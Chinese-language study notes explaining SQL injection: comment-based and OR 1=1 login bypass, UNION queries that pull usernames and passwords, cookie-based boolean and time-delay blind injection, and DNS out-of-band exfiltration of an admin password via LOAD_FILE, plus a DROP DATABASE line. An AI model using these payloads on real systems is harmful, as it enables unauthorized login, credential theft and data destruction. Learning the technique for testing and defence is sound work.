概述

  1. 在服务器向数据库进行数据查询时,不输入正常的数据,输入代码,使数据查询变成代码执行
  2. sql语言(部分):
    1. 选取表格中所有内容
    1
    select * from allusers
    1. 选取指定的用户名和密码
    1
    where username = 'QingMaxLim' And passwd = 'passwd'
    1. where关键字
      SQL语句遇到where关键词时,会判断条件是真是假
    2. 某个神奇的指令
    1
    DROP DATABASE TABLICE --删除整个数据库

    5.SQL合并两个表格的内容:

    1
    select * from table1 Union select * from table2

报错与注释

  1. 多’
1
where username = 'QingMaxLim'' And passwd = 'passwd'

执行时将’’中的视为字符数据,而不是操作符,此条语句报错,服务器可能将SQL报错信息直接返回给用户
2. ‘后有–

1
where username = 'QingMaxLim' -- ' And passwd = 'passwd'

系统会认为 – ‘ And passwd = ‘passwd’是注释
此时不知道密码也可以进行账户登陆,直接绕过密码验证条件(不返回)
3. if不知道用户名
true OR false = true
于是————

1
where username = 'QianliGrass' Or 1=1 -- ' And passwd = 'passwd'

该语句为真(即使用户名错误)

UNION

  1. UNION后不指定表格名字,使用NULL代替列名
1
select * from table1 Union select NULL,NULL

UNION操作必须保证合并两边的列数一致
于是————可以用NULL测试列数(最后多少个NULL是返回成功的结果)
2. 如果已知另一个表格的信息,则可以将表格的列名放在NULL的位置,并指定选取的表格名
UNION还需保证数据类型相似
所以还需确定数据类型(例如逐列测试)
3. 最后——

1
2
select * from allusers
where name = 'QingMaxLim' Union select NULL,username,password From allusers --'

布尔和时间延迟

  1. cookie与布尔

    在数据库里会保存不同用户的Cookie,用户登陆网页会在http请求里加上cookie这个http首部,会生成服务器向数据的查询语句(如select,from,where)
    修改cookie中的值

    1. 强行加上一个单引号结束字符数据,并注释掉后面的SQL语句,如果返回的还是原来的页面,则证明是可以被注入的
    2. 在后面添加使where语句变错的条件(查询不到要查询的内容),如果此时返回的页面内容改变了,则可以知道能查询和查询不到的页面分别是什么
    3. 修改条件来验证想要测试的内容(使用substring方法判断,例子中判断第一个字符是否为p),如果是,返回正常页面,如果不是,则返回不一样的页面
    4. 如例子,已知用户名admin,信息保存在users表中,接下来就是修改条件并进行测试(暴力破解-盲注)
1
2
3
4
5
6
7
8
9
select cookield from allusers
where cookield = 'QingMaxLim' And 1 = 0 --'

select cookield from allusers
where cookield = 'QingMaxLim' And substring('passwd',1,1) = --'

select cookield From allusers
where cookield = 'QingMaxLim'
And substring((select password From users where user = 'admin'),1,1) = 'm' --'
  1. 时间延迟
    使用sleep函数,比如sleep(10),如果页面在10s左右返回内容就是猜中,如果页面正常返回,且在10s内,就是没猜中

带外通道

  1. 向MySQL系统注入LOAD_FILE()函数,如果给这个函数提供域名,则触发DNS查询,即查询域名的IP地址,此时将要查询的管理员密码和域名进行拼接,相当于直接向攻击方发送管理员密码(攻击方可以看到DNS查询内容)